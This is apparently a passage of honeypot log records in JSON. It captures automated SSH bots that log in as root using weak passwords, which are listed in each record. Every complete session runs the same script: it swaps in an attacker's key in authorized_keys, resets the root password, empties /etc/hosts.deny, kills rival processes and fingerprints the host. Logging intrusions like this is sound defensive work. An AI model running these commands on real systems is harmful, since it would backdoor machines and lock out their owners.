/proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T21:46:33.552779+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T21:46:33.621390+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T21:46:34.411387+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T21:46:34.482153+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T21:46:35.294166+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T21:46:35.374317+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T21:46:36.258951+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T21:46:36.327748+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T21:46:37.096228+00:00","kind":"output","latency_ms":null,"data":" 21:46:37 up 6 days, 18:36, 0 user, load average: 0.17, 0.13, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T21:46:37.164738+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T21:46:37.648003+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T21:46:37.718033+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T21:46:38.040688+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T21:46:38.111824+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T21:46:38.615903+00:00","kind":"output","latency_ms":null,"data":"top - 21:46:38 up 6 days, 18:36, 0 user, load average: 0.17, 0.13, 0.13\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9532 free, 6355 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T21:46:38.685017+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T21:46:39.364204+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T21:46:39.435186+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T21:46:40.235688+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T21:46:40.308721+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T21:46:40.695700+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T21:46:40.764804+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T21:46:42.098371+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T21:46:42.169438+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T21:46:44.355208+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"lw123456","method":"password","accepted":true,"tier":"other"}]} {"id":"4cd4cfa2-a3e0-4e5d-96a9-2f2538ed1b79","name":"placid-emerald-springbok","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":39934,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T21:42:51.688062+00:00","ended_at":"2026-08-26T21:42:53.178355+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2216,"events":[{"seq":1,"at":"2026-08-26T21:42:39.620856+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T21:42:39.687880+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T21:42:41.747850+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T21:42:42.562926+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T21:42:42.632374+00:00","kind":"input","latency_ms":null,"data":"echo \"root:lwLmsGwNX8An\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T21:42:42.702428+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T21:42:42.772357+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T21:42:43.110910+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T21:42:43.181034+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T21:42:44.601374+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T21:42:44.670738+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T21:42:46.102883+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T21:42:46.177526+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T21:42:46.888928+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T21:42:46.957215+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T21:42:47.428833+00:00","kind":"output","latency_ms":null,"data":" 21:42:47 up 6 days, 18:32, 0 user, load average: 0.06, 0.07, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T21:42:47.495773+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T21:42:48.310463+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T21:42:48.379402+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T21:42:48.949254+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T21:42:49.018652+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T21:42:49.370685+00:00","kind":"output","latency_ms":null,"data":"top - 21:42:49 up 6 days, 18:32, 0 user, load average: 0.06, 0.07, 0.05\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T21:42:49.438452+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T21:42:49.852893+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T21:42:49.920575+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T21:42:50.267640+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T21:42:50.336844+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T21:42:50.714281+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T21:42:50.783732+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T21:42:51.620760+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T21:42:51.688604+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T21:42:53.167335+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123465**","method":"password","accepted":true,"tier":"other"}]} {"id":"f94fc549-d7ec-40c8-a223-8b20c6e0ed4f","name":"lawful-merry-toucan","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":44310,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":68,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T21:40:48.158444+00:00","ended_at":"2026-08-26T21:40:49.292764+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2203,"events":[{"seq":1,"at":"2026-08-26T21:40:35.828598+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T21:40:35.896088+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T21:40:38.357727+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T21:40:38.771708+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T21:40:38.840565+00:00","kind":"input","latency_ms":null,"data":"echo \"root:FGcoWEnB3IOt\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T21:40:38.911924+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T21:40:38.981071+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T21:40:39.605280+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T21:40:39.643212+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T21:40:40.803687+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T21:40:40.875854+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T21:40:42.283322+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T21:40:42.351924+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T21:40:42.746106+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T21:40:42.811948+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T21:40:43.199876+00:00","kind":"output","latency_ms":null,"data":" 21:40:43 up 6 days, 18:30, 0 user, load average: 0.16, 0.18, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T21:40:43.268988+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T21:40:43.522937+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T21:40:43.591801+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T21:40:43.915550+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T21:40:43.981382+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T21:40:44.344267+00:00","kind":"output","latency_ms":null,"data":"top - 21:40:44 up 6 days, 18:30, 0 user, load average: 0.16, 0.18, 0.1\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T21:40:44.414558+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T21:40:45.228775+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T21:40:45.295958+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T21:40:45.722831+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T21:40:45.789474+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T21:40:46.576357+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T21:40:46.644875+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T21:40:48.090605+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T21:40:48.159361+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T21:40:49.278555+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"london","method":"password","accepted":true,"tier":"other"}]} {"id":"7db919dd-d72b-4961-897a-fa558ce6d909","name":"courtly-dewy-okapi","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":57444,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":70,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T21:38:55.902990+00:00","ended_at":"2026-08-26T21:38:57.202707+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2194,"events":[{"seq":1,"at":"2026-08-26T21:38:42.910127+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T21:38:42.978820+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T21:38:46.618626+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T21:38:47.178410+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T21:38:47.254397+00:00","kind":"input","latency_ms":null,"data":"echo \"root:QW1QDsSzfFeg\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T21:38:47.329703+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T21:38:47.408368+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T21:38:48.049167+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T21:38:48.117771+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T21:38:49.402279+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T21:38:49.472865+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T21:38:50.375148+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T21:38:50.449625+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T21:38:50.708255+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T21:38:50.779407+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T21:38:51.088098+00:00","kind":"output","latency_ms":null,"data":" 21:38:51 up 6 days, 18:28, 0 user, load average: 0.27, 0.25, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T21:38:51.157071+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T21:38:51.515794+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T21:38:51.585076+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T21:38:52.245235+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T21:38:52.318775+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T21:38:53.122677+00:00","kind":"output","latency_ms":null,"data":"top - 21:38:53 up 6 days, 18:29, 0 user, load average: 0.27, 0.25, 0.18\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T21:38:53.191505+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T21:38:53.556181+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T21:38:53.623260+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T21:38:54.160687+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T21:38:54.230359+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T21:38:54.701315+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T21:38:54.770443+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T21:38:55.834702+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T21:38:55.903853+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T21:38:57.194089+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"1q2w3e4r$R#E@W!Q","method":"password","accepted":true,"tier":"other"}]} {"id":"bb45dbdb-4045-4094-9ed3-6209e9e31690","name":"glacial-vernal-goshawk","protocol":"ssh","channel_kind":"exec","src_ip":"41.111.227.10","src_port":51206,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":508,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T21:37:13.185250+00:00","ended_at":"2026-08-26T21:37:13.851923+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2095,"events":[{"seq":1,"at":"2026-08-26T21:36:58.686996+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T21:36:59.188802+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T21:37:03.754997+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T21:37:03.755582+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T21:37:04.265318+00:00","kind":"input","latency_ms":null,"data":"echo \"root:k9Nm9DOj1J9y\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T21:37:04.770065+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T21:37:05.274362+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T21:37:05.274870+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T21:37:05.780110+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T21:37:06.401065+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T21:37:06.911513+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T21:37:07.509456+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T21:37:08.022423+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T21:37:08.023380+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T21:37:08.530290+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T21:37:08.530948+00:00","kind":"output","latency_ms":null,"data":" 21:37:08 up 6 days, 18:27, 0 user, load average: 0.07, 0.08, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T21:37:09.034241+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T21:37:09.034762+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T21:37:09.538064+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T21:37:09.538904+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T21:37:10.056872+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T21:37:10.057844+00:00","kind":"output","latency_ms":null,"data":"top - 21:37:10 up 6 days, 18:27, 0 user, load average: 0.07, 0.08, 0.07\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 